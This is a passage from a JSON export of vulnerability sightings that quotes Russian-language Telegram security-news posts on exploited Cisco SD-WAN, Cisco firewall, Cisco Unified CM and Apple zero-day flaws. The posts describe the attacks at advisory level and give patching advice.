\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0434\u043e\u043c\u0435\u043d\u043d\u0430\u044f \u0443\u0447\u0451\u0442\u043a\u0430 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0438 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u0430\u044f \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435 \u0441\u043b\u0443\u0436\u0431\u0430 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438 \u2014 \u0447\u0442\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u0440\u0435\u0434\u043a\u043e. \u041e\u0434\u043d\u0430\u043a\u043e \u0442\u0430\u043c, \u0433\u0434\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0430, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043c\u043e\u0433\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u0434\u043e\u043c\u0435\u043d\u0435, \u043f\u043e\u0445\u0438\u0442\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.\n\n\u2705 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0430\u0442\u0447 \u0438\u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c \u0441\u043b\u0443\u0436\u0431\u044b \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u0438.\n\n#\u0432\u0437\u043b\u043e\u043c #zeroday #PositiveTechnologies\n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:10.872732Z"}, {"uuid": "8f22efd1-512e-4c15-bc5d-e636185dd452", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/ZerodayAlert/699", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Cisco SD-WAN \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043e\u0439\u0442\u0438 \u0432 \u0441\u0435\u0442\u044c \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f \u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-20182 \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 vdaemon \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0443 Cisco Catalyst SD-WAN \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 vHub \u2014 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435. \u0414\u043b\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c DTLS-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u043b\u044e\u0431\u044b\u043c \u0441\u0430\u043c\u043e\u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u043c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u043c \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u043c \u0441\u0435\u0442\u0438.\n\n\u0413\u0440\u0443\u043f\u043f\u0430 UAT-8616 \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. \u041f\u043e\u0441\u043b\u0435 \u0432\u0437\u043b\u043e\u043c\u0430 \u0445\u0430\u043a\u0435\u0440\u044b \u0432\u043d\u0435\u0434\u0440\u044f\u044e\u0442 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 SSH-\u043a\u043b\u044e\u0447\u0438, \u043c\u0435\u043d\u044f\u044e\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e NETCONF \u0438 \u0434\u043e\u0431\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u0430\u0432 root.\u0422\u0430\u043a\u0436\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u044e\u0442 \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0435\u0449\u0451 \u0442\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SD-WAN, \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u044e\u0442 \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442 \u043c\u0430\u0439\u043d\u0435\u0440 XMRig \u0438 \u043f\u043e\u0445\u0438\u0449\u0430\u044e\u0442 \u043a\u043b\u044e\u0447\u0438 AWS.\n\n\u0412 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u044d\u043f\u0438\u0437\u043e\u0434\u043e\u0432 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 Nim, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0418\u0418. Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0435\u0440\u0441\u0438\u0439 20.12.6.2 \u0438 \u043d\u043e\u0432\u0435\u0435, \u043e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0441\u0442\u0430\u0440\u044b\u0435 \u0432\u0435\u0442\u043a\u0438 SD-WAN \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442.\n\n#cisco #sdwan #UAT8616 #zeroday\n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:07.275326Z"}, {"uuid": "1418690c-9948-4903-91f8-f812c87bdd79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/ZerodayAlert/629", "content": "\u041f\u044f\u0442\u044c \u0441\u0442\u0440\u0430\u043d \u0441\u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 Cisco SD-WAN\n\nCISA \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u0443\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432\u0443, \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0433\u0440\u0430\u0436\u0434\u0430\u043d\u0441\u043a\u0438\u0445 \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u044b\u0445 \u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432 \u0421\u0428\u0410. \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043f\u0440\u0435\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0432\u044b\u044f\u0432\u0438\u0442\u044c \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0438\u0445 \u043d\u0430 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e 27 \u0444\u0435\u0432\u0440\u0430\u043b\u044f 2026 \u0433\u043e\u0434\u0430.\n\n\u0412 \u043e\u0441\u043d\u043e\u0432\u0435 \u0430\u0442\u0430\u043a \u043b\u0435\u0436\u0430\u0442 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Cisco Catalyst SD-WAN \u2014 CVE-2026-20127, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430, \u0438 CVE-2022-20775, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0430\u044f \u043f\u0443\u0442\u044c \u043a \u043f\u0440\u0430\u0432\u0430\u043c root. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u043d\u0435\u0434\u0440\u044f\u044e\u0442 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0444\u0438\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0443\u0437\u0435\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0438 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0434\u043e\u043b\u0433\u043e\u0441\u0440\u043e\u0447\u043d\u043e\u0435 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u041a \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e\u043c\u0443 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u0438\u043b\u0438\u0441\u044c \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u0430 \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u0438, \u041a\u0430\u043d\u0430\u0434\u044b, \u041d\u043e\u0432\u043e\u0439 \u0417\u0435\u043b\u0430\u043d\u0434\u0438\u0438, \u0410\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u0438 \u0438 \u0421\u0428\u0410. \u0410\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u0439\u0441\u043a\u0430\u044f \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u043e\u0434\u0438\u043d \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Cisco SD-WAN \u0441 2023 \u0433\u043e\u0434\u0430 \u2014 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0435\u0451 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043b\u0438\u0448\u044c \u0432 \u043a\u043e\u043d\u0446\u0435 2025 \u0433\u043e\u0434\u0430.\n\n#cisco #zeroday #sdwan #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:08.912023Z"}, {"uuid": "c7dc30c6-e637-4b5c-9d63-27457f714f77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://t.me/ZerodayAlert/640", "content": "\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 0Day-\u0430\u0442\u0430\u043a\u0443 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0442\u0438\u0432 Cisco\n\n\ud83d\udd75\ufe0f \u041f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 Amazon \u043f\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0443\u0433\u0440\u043e\u0437 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u043e \u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e CVE-2026-20131 \u0432 Cisco Secure Firewall Management Center. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c Java-\u043a\u043e\u0434 \u0441 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u2013 Interlock \u043d\u0430\u0447\u0430\u043b\u0430 \u0435\u0451 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0449\u0451 26 \u044f\u043d\u0432\u0430\u0440\u044f, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a Cisco \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043b\u0438\u0448\u044c 4 \u043c\u0430\u0440\u0442\u0430.\n\n\ud83d\udd13 \u041e\u0434\u0438\u043d \u0438\u0437 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043f\u043b\u043e\u0445\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u043b \u0432\u0441\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0430\u0440\u0441\u0435\u043d\u0430\u043b Interlock: RAT \u043d\u0430 JavaScript \u0438 Java, \u0431\u0435\u0441\u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0432\u0435\u0431-\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443, \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 \u043d\u0430 PowerShell \u0438 \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b ScreenConnect, Volatility \u0438 Certify.\n\n\ud83c\udf0d \u0410\u043d\u0430\u043b\u0438\u0437 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u043a \u0441 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c\u044e 75\u201380% \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0447\u0430\u0441\u043e\u0432\u043e\u0439 \u043f\u043e\u044f\u0441 UTC+3 \u0441 \u043f\u0438\u043a\u043e\u043c \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0441 12:00 \u0434\u043e 18:00. \u041f\u043e\u0441\u043b\u0435 \u0432\u0437\u043b\u043e\u043c\u0430 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0443\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u0438\u0445 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u0430 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0440\u0435\u0441\u0443\u0440\u0441 \u2013 \u044f\u0432\u043d\u0430\u044f \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u043a \u0430\u0442\u0430\u043a\u0435 \u043d\u0430 \u0432\u0441\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0436\u0435\u0440\u0442\u0432\u044b.\n\n#cisco #zeroday #\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 #interlock\n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:08.577204Z"}, {"uuid": "e66d109f-e508-4e22-999f-c218db395ee8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://t.me/ZerodayAlert/616", "content": "Apple \u0437\u0430\u043a\u0440\u044b\u043b\u0430 \u043f\u0435\u0440\u0432\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 2026 \u0433\u043e\u0434\u0443\n\n\ud83c\udfaf Apple \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e CVE-2026-20700 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u043b\u0430\u0441\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u043f\u0440\u043e\u0442\u0438\u0432 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u0421\u0430\u043c\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043e\u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0437\u043e\u0432\u0430\u043b\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u043a\u0430\u043a \u00ab\u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u0443\u044e\u00bb \u0438 \u0442\u043e\u0447\u0435\u0447\u043d\u0443\u044e.\n\n\ud83d\udd17 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u043c \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Apple. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u2014 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0435\u0449\u0451 \u0441 \u0434\u0432\u0443\u043c\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2025 \u0433\u043e\u0434\u0430.\n\n\ud83d\udd0d \u041d\u043e\u0432\u0443\u044e \u0431\u0440\u0435\u0448\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u0433\u0440\u043e\u0437 Google. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u0436\u0435 \u0432\u043e\u0448\u043b\u0438 \u0432 iOS 18.7.5, iPadOS 18.7.5, macOS Tahoe 26.3, tvOS 26.3, watchOS 26.3 \u0438 visionOS 26.3 \u2014 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0434\u043b\u044f \u0448\u0438\u0440\u043e\u043a\u043e\u0433\u043e \u043a\u0440\u0443\u0433\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 iPhone 11.\n\n#apple #\u043d\u0443\u043b\u0435\u0432\u043e\u0439\u0434\u0435\u043d\u044c #\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:09.377215Z"}, {"uuid": "47ccd780-988b-4341-8d0a-35eeeb8a0cbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20045", "type": "seen", "source": "https://t.me/ZerodayAlert/608", "content": "\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445 Cisco\n\n\ud83d\udd34 CVE-2026-20045 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439: Unified Communications Manager, Session Management Edition, IM & Presence Service, Unity Connection \u0438 Webex Calling. \u0411\u0430\u0433 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u26a0\ufe0f Cisco PSIRT \u043f\u0440\u0438\u0441\u0432\u043e\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 